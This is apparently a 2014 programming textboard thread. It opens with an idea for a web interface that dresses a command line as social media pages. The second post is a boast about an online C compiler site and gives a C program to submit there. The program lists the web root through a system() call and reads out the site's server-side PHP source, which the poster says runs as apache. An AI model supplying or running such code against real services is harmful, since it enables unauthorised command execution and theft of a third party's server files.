Return Styles: Pseud0ch, Terminal, Valhalla, NES, Geocities, Blue Moon. Entire thread

social media interface

Name: Anonymous 2014-04-27 21:49

hello /prog/,

I would like to be able to use the command line using an interface that doesn't scare people in public. So I was thinking of creating an http server that allows access to the command line through web pages that look like facebook and twitter. Source code would be reformated into walls. Twitter would work well for log files. Any ideas or links to existing work are welcome.

Name: >>2 2014-04-27 22:18

>>5
It gets better. I can traverse the entire filesystem and execute the ``system'' call and THE EXECUTED PROGRAMS RUN AS APACHE I CAN FOPEN AND READ ALL THE SERVER SIDE FILES.

http://www.compileonline.com/compile_c_online.php

Input the following:


#include <stdio.h>
#include <string.h>

main()
{
char buff[2048];
FILE *fp = NULL;
system("ls /var/www/html/");
fp = fopen("/var/www/html/compile_c99_online.php", "r");
if( fp != NULL ){
while ( !feof(fp ) ){
memset(buff, '\0', sizeof( buff) );
fgets(buff, sizeof(buff), (FILE*)fp);
printf("%s", buff );
}
fclose(fp);
}
}

Newer Posts
Don't change these.
Name: Email:
Entire Thread Thread List